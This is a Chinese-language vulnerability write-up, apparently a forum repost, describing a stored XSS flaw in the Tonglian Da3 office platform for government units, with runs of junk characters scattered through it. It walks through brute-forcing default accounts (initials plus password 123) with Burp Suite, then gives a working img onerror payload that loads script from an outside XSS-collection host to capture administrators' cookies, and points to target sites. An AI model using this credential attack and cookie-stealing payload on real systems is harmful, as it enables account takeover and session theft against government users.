同联Da3协同办公平台后台通用储存型xss漏洞

admin

$ _* {, {7 [; u" W & k$ n6 f. j, j) q! [( x$ x6 N) { * J& E6 i6 \, q# ? * @" [$ G2 h6 K* u) ] e $ I) \9 A1 o6 B% V( b% v- H! _, r 0 a- W" e) {& R1 T- z: v @/ p 3 [. ^/ f) W, t- _ P 7 ?5 ~' j8 B! A" j& u 4 S& c5 X/ _ v! U: W. f) ]

同联Da3协同办公平台后台通用储存型xss漏洞

0 |# A$ ?* J. {+ W! I' G

! ~0 V3 B: r) f& \9 A# h' M! w2 `& n 平台简介：

% {3 e6 b7 u5 l M! i0 k

! |' s3 g: [' z2 C3 y6 k1 b   3 b1 x/ H }1 z% Y% s

, f8 t: N- m6 Y% }3 k8 O e

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 5 q6 X' D* Y4 P- P) z8 ~0 k7 `( t

" c9 L8 F; K* `1 Q% }& n! T

  7 L" @$ _7 F; z; y

9 i" g) Z1 h. `/ f

. Y! ~: F3 }+ F& ?0 L* a! r 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： : W0 i: a d- S! i* O7 V3 X

: }: `( {5 E+ k2 V- p& V" c% u: x

 

1 ~3 k- w' q& a" ]0 _: ^# g http://1.1.1.1:7197/cap-aco/#（案例2-） " \) o) S8 ]0 c( Y

; X. W- f$ j) }% s5 M6 [3 w4 s

http://www.XXOO.com （案例1-官网网站）

漏洞详情:

8 j2 H# e$ @0 o2 h

. q, n$ C. W0 [2 a4 [, _; [  案例一、

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 5 j3 @. g3 u h2 u0 x9 Q4 w3 U" H

4 y+ L( x3 J F& q. x8 V4 h      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： ' U! n, k9 V9 f. O! w; j

  % w+ q* G0 \( `+ k Y7 u

6 C% Z; I) _/ a n' ^ y9 [

- A1 Z# f6 |. E, b8 s $ ^, J& F v4 o0 l l/ C; g& w

# G) V' T- D& h9 V$ H) n5 g5 Y status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

 

/ g) Z" N. r+ w" f' z8 l) m

3 E0 u% ~4 E) L" l& `1 t 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

  Q1 I# Z8 G. a! r" t

; V- X( P W+ N6 z8 o b2 {4 E

7 p9 q* B9 F1 `' H* u. n* ]2 B <img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

8 H, ~/ P) Q$ Z3 n4 i

5 c; ]& f7 D( O# A 然后发送，接收cookie如图： / a0 {! v' E' @6 [# Y' i

- K. G' E2 A) \) O

 

. R3 p" n$ {( D8 @( N1 c! p

% [/ V, [: ?7 ]: ^% p   # {/ y$ J, n# [9 j5 @' x' M/ B' I

/ M; e6 c( _6 y) C9 K, L- N

  0 C& C! g, f8 t' ^

* y& ]/ w+ O2 ]3 F6 |3 D# _/ P

  ) J, `# m! D4 ?: G% C

% w4 e; Y3 o* z6 E$ M6 A

( o+ A; f1 J& h

 

: X& P |0 y& ]3 ~5 T) S 案例2、

" S0 V+ }. a3 E$ |6 X4 b3 {4 L; e 前面步骤都一样，下面看效果图：

1 _: q; T( u, W; j1 L, G$ h! e6 n

1 M3 s, h+ i7 N) I* n9 q

6 S1 V4 J' O3 t( |) A2 e

1 F5 b h0 T8 q6 L1 ?( T  

5 |" P; u+ f2 v8 J   7 H3 T& p+ j; Q! {) V

 

8 J$ z/ r) @* H& }0 E% t

1 a3 G/ _. `: h$ B5 }% T% g9 t  

. e& E+ |7 k! |

8 Q: x8 ~" z1 u  

7 o* H4 c8 u7 H; W% v, \5 M- N& m Q

( K9 `4 H6 T3 j: D   $ F! A* M3 f! x6 e6 L+ c; a. j